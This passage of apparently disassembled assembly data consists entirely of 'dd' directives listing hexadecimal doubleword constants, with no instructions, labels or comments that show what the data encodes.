		dd 0FD2BDD60h, 0E827D200h, 8A043662h, 8F0C00A5h, 542234D8h
		dd 0E900FDABh, 165BF180h, 3B14EA37h, 6387F87Bh,	0E033AE28h
		dd 5CD25F2Ah, 469A9100h, 0AFA67C2Ch, 0F4D00066h, 0B629ADC8h
		dd 9C00418Dh, 288295E2h, 7984920Ch, 0F7F68h, 34A48A4h
		dd 0D0B85805h, 6731D100h, 0E63DB278h, 454000ACh, 9373EFEDh
		dd 0CF7CA15Dh, 19001FBCh, 0F561FCBAh, 972E00C3h, 320C3FCBh
		dd 9301A1A3h, 8137604h,	260B172h, 9AF60F21h, 0EA60E4FDh
		dd 0AE7EB412h, 0D331A500h, 7BB71E92h, 76F00180h, 9FE2273Bh
		dd 0FB3D7015h, 0CECCD403h, 0B0AB8926h, 1CC61841h, 805CD7E4h
		dd 0B97D17Fh, 130055D2h, 0F8A5AAC2h, 0E0DAE8Fh,	2662EE9Eh
		dd 10BD0EA0h, 0D5012071h, 4AD77856h, 0B5C4149Ch, 3A9DE83Ah
		dd 0B1923189h, 68A400D9h, 0AF7B113Dh, 0EAA9E01Ch, 66062E80h
		dd 3CB5BBh, 56A1921Fh
		dd 8DC13823h, 143AA7F0h, 0EDA3AE99h, 0F88B8703h, 0CC099860h
		dd 0EFF3006Dh, 78EDE48h, 0B71D1F14h, 0FDDCAF91h, 7F469C40h
		dd 0C82A49h, 0EB2F8FA6h, 45FBC19Bh, 7AB30900h, 8ACC1777h
		dd 369A1CCDh, 88B1003Ch, 9238CB21h, 758BC0F5h, 17FE7F3Ah
		dd 1700C38Ch, 4952D78Ah, 91900FCFh, 0EF20A1DAh,	7637F29Fh
		dd 0F500C498h, 6A664C3Fh, 0EE60Ch, 3EF47201h, 934ACBAFh
		dd 4CBC2300h, 34387177h, 7BE8022Ch, 0B47C58C3h,	0D24D95E0h
		dd 26000D90h, 0EF96ACDh, 1FFCC8DFh, 4024AA7Bh, 0C0F8444Ah
		dd 3F0E1B9Bh, 2038EFC1h, 0D06E807Ch, 0E600098h,	25862CA9h
		dd 7B07CC8Fh, 0EE2FF4E7h, 5F39A0E0h, 2A2000FFh,	6617FC83h
		dd 0D60F699Fh, 0FC0BA99h, 605D2F92h, 0AD37B6CAh, 0E9AA008Eh
		dd 14D05704h, 31004A0Eh, 0B0992124h, 0F09DE2B1h, 85D11CF5h
		dd 0BEB3005Ch, 0C5E40D51h, 8424C01h, 212C457Fh,	38A0F5ECh
		dd 23005534h, 29290D5h,	5E00705Ah, 0A87A4559h, 0F81109h
		dd 0A9D25C83h, 87FC40B1h, 28F25F00h, 592DF393h,	247C00C0h
		dd 0A801979Dh, 0EF008BCAh, 44537E7Ah, 382FDB1h,	204D4631h
		dd 4C985C90h, 2F003406h, 0FE6B172Eh, 0CC9C22h, 5BDFF85Dh
		dd 0C09F507Ch, 5421B200h, 69C2E887h, 84190337h,	7F56E24h
		dd 0F85AE5C0h, 7CBD7603h, 0B8B89DB1h, 3C4411h, 0AAC71BD9h
		dd 0B52E8B91h, 8F522600h, 0F861A5DAh, 69E2003Ah, 0E6D13FC0h
		dd 1A008155h, 23343C52h, 12ED422h, 494CAFF1h, 0DF454F19h
		dd 0E7EB3AE8h, 0A4526E03h, 0C8481AF4h, 0A55AF5Eh, 9299A3D5h
		dd 6EE400E5h, 8AC01F88h, 3F201300h, 0E1094C43h,	56DF1E02h
		dd 4F08806Ah, 73D12F94h, 9000397Fh, 47BF5455h, 98DCB6h
		dd 6C76C5C1h, 866B5FBAh, 0DF0727E4h, 5C8BEEA2h,	0AC1811A0h
		dd 904D0703h, 0FE1C7F05h, 0D74E77A0h, 0DE0E8DB4h, 81E30FFFh
		dd 45E812B9h, 0B05C09C0h, 0AA4F3E4Fh, 4C6C9E00h, 9D0DBCBBh
		dd 0CF3CC700h, 0AB638FF7h, 187371h, 0A0C3FE6Eh,	0C1E12F5Eh
		dd 0E4F947ECh, 13FA4D3Ah, 9FBFF21Ch, 5A16C700h,	0D3FAC2h
		dd 0E070A59h, 1CA8B2CDh, 95397BE6h, 3F2CBD8Bh, 41BD8072h
		dd 0F8548011h, 0C4EE00A5h, 0A9622A79h, 58FE78D3h, 8135DB00h
		dd 301A0F5Dh, 87F53FA5h, 3325B60Fh, 7FBF409Fh, 9293BCC6h
		dd 2D7CCD07h, 9CF0A385h, 70651E51h, 60709711h, 0CA64F50Eh
		dd 0F6036060h, 75F0F1h,	0FC4B067Ah, 0DCB10595h,	0BAAC671Eh
		dd 6C814441h, 15C0FF98h, 0F117004Fh, 1D8584C2h,	580077E0h
		dd 425051DCh, 0F38D76h,	15A7CB1Eh, 6D1B3411h, 9940870Ah
		dd 66009970h, 0A5947D19h, 0DCD26014h, 0E81B48B1h, 0A7525700h
		dd 3729DB0Ah, 7148C053h, 0CA2CD894h, 83729A00h,	0D3131448h
		dd 405E1F15h, 0EA00FED4h, 60AEAC2Dh, 0B407BD10h, 2CF79F5Ah
		dd 0FF171C50h, 4DF300FBh, 0D5B26BF9h, 600021B6h, 0F739693h
		dd 0EE204B02h, 0F4F20037h, 0BCCCCE08h, 2E03C40Ah, 8C2536D6h
		dd 2613C804h, 0C0610062h, 4DED82BDh, 8D004149h,	0DA6DB0Eh
		dd 7ADFCD64h, 871E3845h, 703D4380h, 0F3B8D40Bh,	80AB093Eh
		dd 353EE8F4h, 6F6ED8h, 39EC221Ah, 0E02FBD9Bh, 91634600h
		dd 72D0AC01h, 0CAD4E5DDh, 74200095h, 2B8485F2h,	1500D4B6h
		dd 0A165703h, 6C30A4h, 0F188871Dh, 60285CC9h, 5E107C07h
		dd 0E470F494h, 0E72F1Bh, 0FF808F78h, 0B64B5A5Ch, 13480100h
		dd 715F843Bh, 0EFDCFC5Dh, 7F17E60h, 5BD41EDh, 9B0260B3h
		dd 8C001558h, 0EC4CF8A3h, 0CFC927h, 95B442D4h, 4FD9D3F9h
		dd 5087BE00h, 0F2C06DA9h, 9053011Ch, 765CFE5h, 0C315F4B1h
		dd 0D7DFFA06h, 0A0744Bh, 8A48FCB8h, 692796D9h, 7DD6C500h
		dd 98CA6D79h, 679F00C3h, 0AC309444h, 0C7B8E2A6h, 0F38FBD05h
		dd 89C07A70h, 97350Fh, 6904248h, 55628453h, 42AA003h, 0A0EDC139h
		dd 73D67h, 0DF73E0EAh, 0C39B3843h, 51EBEC02h, 0E034E4D5h
		dd 797F1A9Ch, 21043EE7h, 0D0ECB780h, 50C03661h,	0F7CB3A00h
		dd 0DD806B9Eh, 55B2006Dh, 7105B303h, 0A500E291h, 0F4C23444h
		dd 0D8A454h, 86884B6Fh,	0BC792D80h, 1AE2200h, 0DF712F97h
		dd 5AF64C2Bh, 8B00BB3Fh, 39502CE1h, 4703EF03h, 9E2D9284h
		dd 536CD87Fh, 0F8EA7460h, 0E45C00B1h, 0B5259D33h, 0C6F21B74h
		dd 8103B00Fh, 12BAA734h, 639E9F50h, 93330018h, 0D5C2D3E6h
		dd 83004BF8h, 0A39BADF9h, 3E4884EFh, 0B8794A5h,	0FD530Ch
		dd 556DD45Eh, 68C09700h, 9FE1FAF0h, 853101C6h, 5D9E5B26h
		dd 3BD74159h, 0EC71FC7Fh, 0C6EAC400h, 0CE1AF038h, 3E97355h
		dd 20544E2Bh, 0D1C0EDA9h, 0A800D7CCh, 6FFD34DAh, 1EEB6C6h
		dd 0EC8FCA2Fh, 0E4AEB014h, 2300D4B7h, 4F996080h, 0F6270F1h
		dd 9B3AD691h, 15C65300h, 9D00745Bh, 0B5F44840h,	0ED98EC3h
		dd 3BE0D451h, 860DD200h, 4209F539h, 8F6E4EB0h, 667CC0E6h
		dd 728B3Ch, 328CCC0Eh, 0AA956312h, 10C7C800h, 85157390h
		dd 0C5D203A9h, 6A0F9CF7h, 0AAC84798h, 439D1B03h, 0F03FE3A3h
		dd 123BCA01h, 0E5AC7Dh,	8ACE9820h, 0A4014AD6h, 0B2552268h
		dd 1F20AEA5h, 262901Ch,	4717C8EAh, 0E9E097BFh, 0E371A49Fh
		dd 153826FCh, 99700040h, 902413BDh, 0C20B008Eh,	0E7657688h
		dd 6300543Bh, 0A399FA57h, 0F398C0h, 0DDF0E4C5h,	4573DA38h
		dd 23C3A400h, 524FD04h,	0C775005Ch, 0F916C64h, 0AF3B7C2Ah
		dd 21F200C8h, 0A514E6Dh, 0B24000E3h, 0C3CDBCF6h, 9001A427h
		dd 18EF6345h, 7C4C201h,	1E5F00F8h, 5E292FA0h, 4C06FB2h
		dd 4D7D92A5h, 34F00BCh,	0FADE3B9Ah, 0D000FE0Fh,	85D7145Ah
		dd 2F139072h, 0B3009DB0h, 5E32F90Ch, 4CB2DB07h,	3CD02B7Bh
		dd 9B032Fh, 534EE380h, 3EE98EB7h, 0EB6ECF03h, 0E82CFC01h
		dd 98D7CE84h, 116F01D8h, 0AF57999Fh, 0EDE9434Fh, 3BFA49C8h
		dd 0CA92650Fh, 934CC340h, 90BBE8B9h, 0B0B50032h, 0F045ABF7h
		dd 120074C3h, 2D1DDE61h, 7043A78Ch, 0A171C0h, 0E7E54CA3h
		dd 23EC7530h, 0A2527600h, 0B58E4A58h, 489D00EFh, 978A4181h
		dd 64EE890h, 859973C0h,	23DC24B0h, 0FECB00D8h, 6EBDB92h
		dd 3E3D0700h, 53AA04B3h, 603B1F9Dh, 0F8114369h,	8CE8EA32h
		dd 0FA0FEC13h, 20D03D1Dh, 0A733AD8Eh, 0BA340020h, 0E957D5F1h
		dd 0D416A4CCh, 0BE0014A3h, 9B1B1F1Ch, 80EE0035h, 0CEB47D6Bh
		dd 6500B6E7h, 0F5404691h, 353BB3Fh, 12399F5Eh, 60D84707h
		dd 67006C66h, 0F94B0A9Bh, 5C717C7Ah, 783B9B38h,	7F602A80h
		dd 3B0EFCBFh, 0EF25770Eh, 5210E0CCh, 9D6AB9h, 0C94C79E0h
		dd 1D509CCDh, 0C8861A00h, 67ED5B10h, 919B00F0h,	6220B6A6h
		dd 8E00AEA7h, 43FDC264h, 5CB3FA4Eh, 1F009461h, 91036DE4h
		dd 52007A7Fh, 0B8F5F340h, 0E8C857Ch, 5AC1CBABh,	4B00E6ABh
		dd 0B3B90369h, 7B847A00h, 0A22D661Ah, 7F121DDCh, 85CF41FBh
		dd 0CB4D2139h, 51CC3FB0h, 0C0C0AF79h, 695502D8h, 0F375004Ah
		dd 0C179BC66h, 0FA001AD7h, 30DA9C7Ah, 336A93h, 4404FF13h
		dd 0C2983180h, 14FE5A00h, 6A66E321h, 33BE28Ch, 3C7CF175h
		dd 93F05733h, 0A4F49C2Fh, 1B240A0Fh, 0E6BDA01Ch, 0B2A8F5h
		dd 0AE69CB97h, 40F7283Dh, 9A6E9500h, 6B592CBEh,	82563B19h
		dd 493BE500h, 0A9FD2DB9h, 349B7C03h, 0F7C7159Fh, 3A450A00h
		dd 0BCF30039h, 0F0F558C5h, 21F4D72h, 30C24653h,	0E07E6AF1h
		dd 2F92A1h, 0ABD34BB4h,	49C6B751h, 8D062B00h, 0D16DE0ADh
		dd 0AA7C1Fh
		dd 24E5B584h, 0C30D09FDh, 59DA810Fh, 0B2422534h, 0EC1E8DC0h
		dd 0B9CF00B7h, 99A398CCh, 8A00A831h, 0AFF9EAF4h, 677BBCh
		dd 58C79DD4h, 0E4B6B908h, 994C7D00h, 0CCB71190h, 1C4A003Fh
		dd 70CF150Dh, 6B00FA55h, 0FFE042FEh, 160FD5h, 0C62F75A6h
		dd 65696E9Bh, 2DD34100h, 54118DA5h, 0F5EB0439h,	0C0A26260h
		dd 5552D731h, 0B1644900h, 0ECF01A2Dh, 5472003Eh, 0F2800837h
		dd 0EE3E4E3Ah, 0C251008Ch, 0D2A0156Dh, 962A019Fh, 0A3BBD56Ah
		dd 1AFF4067h, 260F9E28h, 60320222h, 34D6F0F6h, 5CEE00B0h
		dd 0CC6C1703h, 743B9F4Eh, 0D0820014h, 3D5E2C7Dh, 0E3EB133Ah
		dd 1AF1E08Eh, 0A739F1F2h, 1DE40010h, 1E5D4791h,	5BE0C4h
		dd 97302E0Eh, 203F42BBh, 92F7E400h, 2F23A419h, 885300ACh
		dd 0B0D3BC9Ah, 9F3FEF8Fh, 1100F53Dh, 0F261B5FEh, 0EAFA66Fh
		dd 5B91E7EBh, 1B734CEh,	0D9F6DF0h, 5FA8D81Fh, 0EA19780Fh
		dd 52B28031h, 0E938FDh,	29DBF55Ch, 8CAFDF48h, 5471F800h
		dd 7E90F798h, 686D0053h, 45338701h, 0FB00F0E8h,	5F709DECh
		dd 0CE1C75h, 3AEB85F2h,	1451870Ch, 9A407E00h, 2E7803CAh
		dd 6A911FB0h, 58D4C031h, 0AD8FA993h, 6F003A7Bh,	0BFA83C1h
		dd 6DA407h, 67DEDA62h, 569502D3h, 58058700h, 0BA44AB2Dh
		dd 96BD1C9Bh, 12790023h, 0B930C3D4h, 0A1635302h, 0E017FB3Dh
		dd 0EA8C336Ah, 0B41C00D6h, 0E4D33095h, 0AC0031EBh, 80E73BF5h
		dd 92C1Ah, 0B421BADFh, 19E086D6h, 0ECD33E00h, 587DA25Fh
		dd 23150025h, 0F496C487h, 110250AAh, 63CDE355h,	72F9605Dh
		dd 0D51A0038h, 4827D484h, 3D001EF7h, 0BFBC0F47h, 75313CDBh
		dd 52F500F4h, 946DD917h, 0D200A5D4h, 8BCB206Ah,	240E1857h
		dd 3A67E48h, 64C0ED63h,	5561ADD0h, 79B97000h, 27AA88D7h
		dd 0DCCE50DAh, 2A8500D2h, 0B7C98B77h, 5D00EBE5h, 0DF8E0952h
		dd 1C134D83h, 0BD9390B2h, 0E8F84280h, 0D0C1128Ah, 0AC002572h
		dd 0C32446Dh, 3822FC89h, 1280EA34h, 0DD6940ADh,	0AC00709Bh
		dd 5C9101C7h, 0F21AFAFEh, 27F900EFh, 0D6A5F63Fh, 0AF00ED75h
		dd 0E528AD17h, 0BDB35Fh, 0B1E4272Ah, 35346DA7h,	92B2E00Fh
		dd 8F4C433Ah, 12179850h, 93FF00F5h, 1AC6988Dh, 1F00736Dh
		dd 4372EBD8h, 3B290D13h, 0BF804976h, 4C9AA455h,	513AC7CAh
		dd 8AB980A1h, 521E5EAAh, 677F1Fh, 8B3E0185h, 94DB0729h
		dd 0C7050C03h, 0B334E0A9h, 2A17D0CDh, 0E6600078h, 0B089D74Ah
		dd 37009A5Ch, 3ACF29C6h, 87C849h, 0ABA47C76h, 501FE9BCh
		dd 0B8358309h, 0CB2C00D1h, 189D31Bh, 0C58DCEADh, 6075BB31h
		dd 0C100D739h, 2B827044h, 3606A87h, 0EA4C3D34h,	0BDB066F2h
		dd 42001117h, 0C5216C7Dh, 3C267535h, 0DF80A170h, 0A25B1EFBh
		dd 18000BDDh, 7B8569CFh, 7978E65h, 2DFFC8A5h, 0E99230F3h
		dd 0D600BFE5h, 62599B02h, 1FA14DF1h, 236DB0h, 80555498h
		dd 2FC5C0Fh, 56F468E2h,	1E249EB0h, 12000C0Ch, 8E5606Fh
		dd 74B07FEh, 0A0846EFBh, 9ECA97A7h, 800B463Bh, 0FD78D871h
		dd 7C17C60Dh, 0A8570062h, 0F6C7A6A0h, 8876982Ch, 11A9D300h
		dd 17D58568h, 6503008Ah, 324BBDB5h, 4A009F0Fh, 6ACA4498h
		dd 5394BAh, 695A0D42h, 189E2705h, 72BFF600h, 4E663EDEh
		dd 0C14800D6h, 0E9E4D976h, 7A009C80h, 0F41F4DC9h, 0E2515A7Ch
		dd 43550004h, 4EE4DBCAh, 0DD3A520Eh, 0BD111D9Fh, 50B8079h
		dd 0F59E6951h, 499300D7h, 20972F24h, 0FB000188h, 238EBC02h
		dd 7D5D1Eh, 59D8A01Bh, 255031E6h, 0F1441A00h, 64410CBDh
		dd 15ED00B7h, 0C23BB98Fh, 0F5EE3291h, 79253401h, 0F3AC8E9Bh
		dd 0D184DCh, 36AF77D9h,	14337CAAh, 4C5E4600h, 56720A85h
		dd 0E90303DDh, 58B82637h, 4AA8A09Bh, 71007BEEh,	8BD99145h
		dd 1EF2CC4h, 0A7E12FA6h, 705F1738h, 0BB77696Bh,	0A02E4C00h
		dd 61A87396h, 8BBC0083h, 0A74330E1h, 0A203F795h, 1432C5C6h
		dd 7C98F844h, 6573D5h, 0BCE5382Bh, 0EFC02694h, 0AC798C00h
		dd 299958E7h, 47390060h, 1C3C8A7h, 4F00A9A8h, 8AB03659h
		dd 3F9FFA99h, 0E005893h, 77FCD619h, 0E42CF602h,	2900AEC0h
		dd 7D2D48D2h, 0BC52031Fh, 3C9F4567h, 82FD20BFh,	0AF0E5EBFh
		dd 0E3E85ACh, 25A480E2h, 0F9E56Bh, 0F69F5BF4h, 73BA9438h
		dd 0BB36AD1Ch, 0E10054EEh, 3FE546A8h, 33601DBFh, 6FB487A1h
		dd 7FAD809Fh, 0E21D7D55h, 0A740385Dh, 2AC8D265h, 5B0FE11h
		dd 4C603F29h, 96A4808Ch, 4AF4F0ABh, 0BD70970Fh,	0E59D842Fh
		dd 1B2B59C0h, 6A570081h, 0A8E6E228h, 0E700A47Dh, 51E10D76h
		dd 0D7E9F2h, 1F01C4CFh,	0E4F0C3FAh, 8029B338h, 0E3B96A4Ch
		dd 1D445BAh, 0A1102781h, 0CCF716FBh, 600F798Fh,	61D5957Bh
		dd 0BC315BE4h, 583E60h,	0D88E5EC7h, 0F7A9B99Bh,	21AE7703h
		dd 0A81BDAE7h, 1C7220h,	0CED3B58Dh, 0E85C7E5Fh,	40570701h
		dd 79082ED6h, 0BFD89AF1h, 433C00C0h, 0B9287301h, 0CB003B23h
		dd 0D7C59B7Bh, 5A698F7h, 7D376759h, 8B4DC0CCh, 0BDFC64BEh
		dd 811A534h, 201EF400h,	89DD7Bh, 7DB761B1h, 56735AA8h
		dd 5D1FEE00h, 5444F18Dh, 182D002Ah, 3675F93Ch, 3A0046B2h
		dd 0DC1AE2C1h, 7A574ABDh, 0CB8600C3h, 41999148h, 6800B5BAh
		dd 0E98FDE36h, 582DAE0Bh, 1F1DBE35h, 0A8007861h, 0C91AA1DAh
		dd 2B006540h, 0F8D798CAh, 224E63Ch, 4A01CFDCh, 0AF60F767h
		dd 84017BBEh, 0F11A897Fh, 0C0E6C9E5h, 30857A6h,	0B6BC2010h
		dd 0A2804149h, 747377D1h, 342E003h, 0C00AE344h,	3D9F8BAh
		dd 17F04EE5h, 48D8DC30h, 0FB0087A7h, 0CDF45965h, 5C3DDD6Eh
		dd 4100AE8Fh, 18EDD198h, 641CFE55h, 3B4016C2h, 0BFE8C33Dh
		dd 8E4E3CC5h, 0ED3F4400h, 0FDF8D194h, 0EAD69500h, 5AF9E306h
		dd 0C956001Ah, 0AADE9A46h, 5900820Dh, 0D82C9C11h, 55CF1A1h
		dd 2A92C238h, 77FBC047h, 51075B39h, 95701B3Dh, 0BF609677h
		dd 0A129C1h, 8E5DDD16h,	5B3E3F9Bh, 2A008075h, 0FEE84056h
		dd 0B99DFDh, 7EB53DC4h,	69BDED07h, 0BA00FA70h, 96B05268h
		dd 0F36689h, 0AF023DB3h, 0F9BD8B04h, 0E7560300h, 706AB2BEh
		dd 0DF0D008Ch, 20DA8AABh, 8900E6D7h, 0C34604D8h, 4A836Dh
		dd 0D3DF3190h, 10F8883Eh, 0B7F1B3Dh, 56D5758Eh,	402F1C25h
		dd 448D1923h, 0E8F613C1h, 51C5B60Eh, 4FE100AEh,	0FD248h
		dd 0B47F64F0h, 0C6A34586h, 50039298h, 5C838FFAh, 0CFF6B85Fh
		dd 7476DFh, 36D83C60h, 4B85D5C9h, 4710BA00h, 9E9CCB19h
		dd 0F39D002Ch, 0FA710BCEh, 0F13EDBB5h, 38D801EEh, 45520AF0h
		dd 2726AC4h, 0A3FB4005h, 46E04E21h, 600097ADh, 0C3099CB2h
		dd 0E4E09687h, 0F0070E0Bh, 0A8801805h, 0D00C534Ah, 9952A700h
		dd 6CEA7688h, 0E58D0259h, 2A24EB47h, 0B057C161h, 4EB91660h
		dd 4CDF00A1h, 83FD1336h, 211FEDD8h, 6C042DDh, 0D4022227h
		dd 0AC18006Bh, 58698B41h, 5558E264h, 1E093C09h,	98C09BB0h
		dd 0D0338051h, 9AEC30h,	7C2320CFh, 769ED612h, 56601976h
		dd 0E2136BA6h, 0F8EB00CEh, 0E0EC8396h, 20000FEAh, 0BFD21F6Ch
		dd 0EEB812h, 8B75D8FCh,	610AC32Ch, 0DDCE0F00h, 689D36F9h
		dd 74120057h, 7D111CCFh, 0E2009490h, 0C18B78Bh,	0EE1BF0h
		dd 70F28595h, 6F23F56Bh, 4FC32000h, 0CF04966Dh,	7FBA1E5Ch
		dd 0DD6940C4h, 2EFC32B1h, 68144C00h, 0CE503C4Bh, 0D9F001B5h
		dd 0FE47F6BEh, 0F157C0A2h, 0B09BC700h, 562C28C9h, 206903E5h
		dd 4A334319h, 0D72A508Fh
		dd 0F700A13Dh, 0ECB91E38h, 0A8E942h, 445E5D4Dh,	0E2D42B66h
		dd 0B1B6D150h, 0A23C3500h, 14902356h, 617B00D2h, 5A5DAC7Ah
		dd 64004F92h, 493C8DD0h, 0EC2FDBh, 0DF9CA9B5h, 0A552942Bh
		dd 0AD0B990Fh, 0A1B7603Ah, 494E29h, 396E3043h, 0E103C2D2h
		dd 59153Ah, 0F44D58CEh,	0DF2A60h, 222D1CD9h, 0D748AE2h
		dd 0E1689400h, 59063D80h, 97230048h, 0F1335EF9h, 0ED3A1314h
		dd 8BA2007Fh, 9B184FF2h, 20053AD5h, 53FA5F80h, 0EFB2F46Dh
		dd 80081E8h, 36676496h,	1FEBA43Bh, 0C0FED701h, 0EA6F4DF0h
		dd 71031C68h, 0D2257B33h, 0E7EFC8C6h, 82D30F32h, 99A0E0F5h
		dd 4D941261h, 874A7E00h, 84C33E2Ch, 0DC921C7Ah,	9924405Fh
		dd 0FE6C3AD3h, 5AFF2A00h, 0C723B340h, 0ABFCF768h, 6078001Dh
		dd 3202C96Dh, 5F00F3DFh, 0D093DCE1h, 0F8B997h, 7046CF2Dh
		dd 0C031E910h, 8267A200h, 7B569614h, 59C3008Ch,	0D37FD1BAh
		dd 0CF00F51Bh, 193C6E8Fh, 46BC10h, 0F0A3B47h, 0D53622B9h
		dd 9878ABEAh, 89A37F00h, 0E3EAA756h, 0E23D3997h, 61D6FC00h
		dd 87E84C5Ch, 446FEC00h, 0A86E31BFh, 7D45008Ch,	0FCEBC8E3h
		dd 0A700EF3Ah, 5E2C0FFBh, 0DA8D2Bh, 0BD614166h,	82CEA4A1h
		dd 9A0080F4h, 0B8851914h, 72E8839h, 0C97C66C6h,	0FBACA079h
		dd 8AFA3E8Dh, 504B7800h, 0F45FB815h, 0CD7463h, 0FB829611h
		dd 0C2812683h, 0EBE6BE00h, 0F57E9718h, 773800AFh, 0DE513BD2h
		dd 0C000665Ch, 59D77FCDh, 194BD9h, 8FA81033h, 8AC5F00Bh
		dd 81A0B002h, 0C0D1C939h, 7CD98CDCh, 1DE0E68Bh,	80135CF4h
		dd 0BF344B9Dh, 9C00124Fh, 601D3177h, 9F34Eh, 7DB411FEh
		dd 3510069Bh, 0C5B22700h, 5F623D9Fh, 0AC6D0099h, 678EA645h
		dd 71001D10h, 0BA302528h, 0AA2E41h, 0C73492B6h,	5D0D5E53h
		dd 3E528800h, 4F7B7DE4h, 0ED861E43h, 80084061h,	451895FFh
		dd 0FFB95Ch, 2A6A624Ch,	742B5EDh, 2287714Dh, 0C9F6404Ah
		dd 2D0BEC41h, 0FDB90AA2h, 20B26A00h, 0C00A79Fh,	1E1FDC0Fh
		dd 79B9175h, 0EDF9D542h, 557E4082h, 980966ABh, 0DC510563h
		dd 0CC4400F8h, 0C824A8F0h, 71C98100h, 1850754Eh, 0FB430108h
		dd 0E87E20A1h, 5A2C309Ch, 0C1FD4200h, 0D370F760h, 0CD65383Dh
		dd 72CBC880h, 8F554AADh, 17AEFE01h, 1B027785h, 0B59FE8h
		dd 0D02C8129h, 3F641016h, 417CF300h, 3CCAB2AEh,	0FDE20095h
		dd 0B88B994Fh, 71008725h, 279C9319h, 7DA76E1h, 3B435774h
		dd 25BDB068h, 0C501C2BAh, 1CBF0844h, 0ADD44F76h, 50691C3Bh
		dd 59D40093h, 0FED38105h, 0C6B81D00h, 6E2843D5h, 2847947h
		dd 7D3501FCh, 0FBC03E1Ah, 0E9008153h, 236946B5h, 66BF4h
		dd 0A7786CDDh, 7CF6E543h, 0DE00B072h, 6944AD35h, 0AFDA19h
		dd 0CEEB7A8Eh, 1B4C4693h, 0DCC50900h, 0F03080A4h, 82E402A9h
		dd 0E141B71Ah, 0A08EC2E0h, 9814E81Ch, 0A15AD900h, 0BFFACAh
		dd 0BE59DB48h, 9B94364h, 0AAEBF300h, 75E4C3C7h,	0E87C0Eh
		dd 3B6C7B2Fh, 39319C5Eh, 1ACF9900h, 0B3A76A87h,	4D841D70h
		dd 0A34C094h, 8121B86h,	9A379800h, 2777F1D2h, 1A6E057h
		dd 7E8AECF4h, 0ECF29EC3h, 880451A4h, 0F8FCF7E0h, 0D668C4C0h
		dd 798B0090h, 607A9558h, 74000C31h, 81EF71B4h, 672770h
		dd 9B9489D3h, 37BFBB23h, 0A38DC100h, 1601A613h,	8E7A55h
		dd 73B7D836h, 43DEFE17h, 0D575EF7Bh, 6EB59E04h,	9C810926h
		dd 0E3CCC1F6h, 99FE00B3h, 0D843373Fh, 3E3BAC64h, 0C5D18096h
		dd 9F656333h, 1756007Dh, 22B18395h, 59751DE4h, 0F314AE1Ch
		dd 24803540h, 0C48C1Bh,	2EDB63A9h, 2150EE56h, 0DD091E03h
		dd 0B0E42DB0h, 3F40675Ah, 8B001BF5h, 694DE58Eh,	6400715Ch
		dd 0E26512B3h, 0FAC30389h, 5CD276E3h, 0E70780CDh, 0F1FF56DFh
		dd 0E4B2DAF5h, 15751877h, 86BD1C00h, 73392040h,	4F984Bh
		dd 0B08E0D4Ch, 16B79F4Eh, 71B8D200h, 29EEC774h,	813C007Bh
		dd 0A021E5AFh, 0D218E750h, 0EAB8C1AAh, 0F25A00EBh, 0A7481692h
		dd 0CAEA30F5h, 0B8D6A428h, 4D0043EEh, 0F22DB483h, 2F0207h
		dd 157B477Ah, 0D184D9FCh, 6D3A85F4h, 0E4F081A1h, 72378339h
		dd 978EE8h, 6B0C4F49h, 0E0121E22h, 83AFBD3Ah, 18D506D1h
		dd 0CF8DC8F7h, 0EE36002Eh, 796C5CE6h, 5D70197Ah, 0FAF0565Ah
		dd 0B5A10046h, 9D58C683h, 0CB00C309h, 12FF02F2h, 1ED48426h
		dd 400A5B7Ch, 9D895081h, 5F00201Ah, 1D63EA09h, 1A4CFE9h
		dd 27336C74h, 0C0045A0Ch, 0EA01655Eh, 96FC373Bh, 4A8E8693h
		dd 807FA47Fh, 158C0CFh,	0EE005C81h, 9ECB37DFh, 7ECB5D7h
		dd 3C43B407h, 44F063CAh, 987B0ED8h, 0DA92B800h,	912F852Eh
		dd 9E4F2663h, 6A09028Dh, 0C5603083h, 453CD366h,	80523E37h
		dd 0D81A5692h, 0D6390Ah, 333824C3h, 443A11A0h, 0F4C5EC00h
		dd 0C80E1C1Eh, 0D98B00B2h, 0A5719102h, 0DE4A24D4h, 2D0BEEE8h
		dd 0B009282h, 0CFA0FF13h, 8303C47Bh, 0F1C2C186h, 0F401D8E9h
		dd 0E5EB3C24h, 5844CE80h, 189897E7h, 41A64D00h,	23962502h
		dd 0AE300C8h, 390EA5B1h, 87051972h, 0FE667642h,	0E632A980h
		dd 13620767h, 90CA785Eh, 51A7F9F7h, 1D06F100h, 799389A6h
		dd 8EC500FBh, 4972E7ABh, 0C43EFFCEh, 0F9A80042h, 0B0F4B155h
		dd 53F33C18h, 0D8622D00h, 0D3BAC543h, 4856B816h, 0F0D0ED00h
		dd 0A55BFh, 0A08CA1C1h,	52B77F1Fh, 0CF464E1Ch, 2A0085D7h
		dd 0AA6B849h, 9BCA0107h, 0C8BA13E6h, 0F1DC8115h, 2BE7B4Bh
		dd 0E0AAD0FBh, 0B9D0027h, 66E1F9A7h, 0EC7C8FB9h, 0A29EB200h
		dd 50615817h, 0FD2D1FC6h, 4DC9C05Fh, 273E0223h,	0E352C80Eh
		dd 0F92C00B7h, 96AF15h,	8C1A7ABCh, 0CA9E1F31h, 5817D00h
		dd 748DCCF3h, 39E464h, 1D83B7DBh, 715B23D5h, 0BC1EF7E8h
		dd 0AE808FDEh, 2556DBECh, 77DD004Ah, 3F41EBA5h,	307FA81Ah
		dd 0FCD7A600h, 0FE0F44EEh, 842B00CEh, 0C766F07Bh, 0D21D65CAh
		dd 0B000F859h, 5B8CC687h, 4F1300EEh, 0CB9ECC92h, 6600AD4Ah
		dd 0BA98FF21h, 703588h,	0DC046B29h, 223FEC11h, 7C795E07h
		dd 0B140367Fh, 73AEB8EEh, 910E0FB0h, 0EA00645Dh, 10BA33AAh
		dd 0E5FC070Eh, 3BCB009Ah, 3C6587Dh, 265CE88h, 77FFE72Ah
		dd 8C31E27Eh, 2D3E50E0h, 0DA14F900h, 81967C9Eh,	0F664071Fh
		dd 3BEFC088h, 0C6598400h, 8B746A2Bh, 2A3DC398h,	2773003Ah
		dd 0C007337Ah, 0EE0DE083h, 1C70016Fh, 0DDE14A47h, 2BCCE05Eh
		dd 0F25E500h, 2A51614Ch, 47B400FFh, 95493011h, 1300CD04h
		dd 0E33E144Dh, 62E2C5h,	51907D73h, 75120A30h, 23D41900h
		dd 7B2E76D2h, 2B361464h, 0A300BDDAh, 75EC0B96h,	0A500F2E6h
		dd 9790CD70h, 0BC3524h,	912DDFF5h, 2BAD7FE3h, 0E416C32Eh
		dd 12C0EB1Ch, 0A534DB85h, 8AE700B0h, 78AF2370h,	40283B36h
		dd 4B00CF14h, 66D02B5Ah, 13A50Bh, 33B318ADh, 16727383h
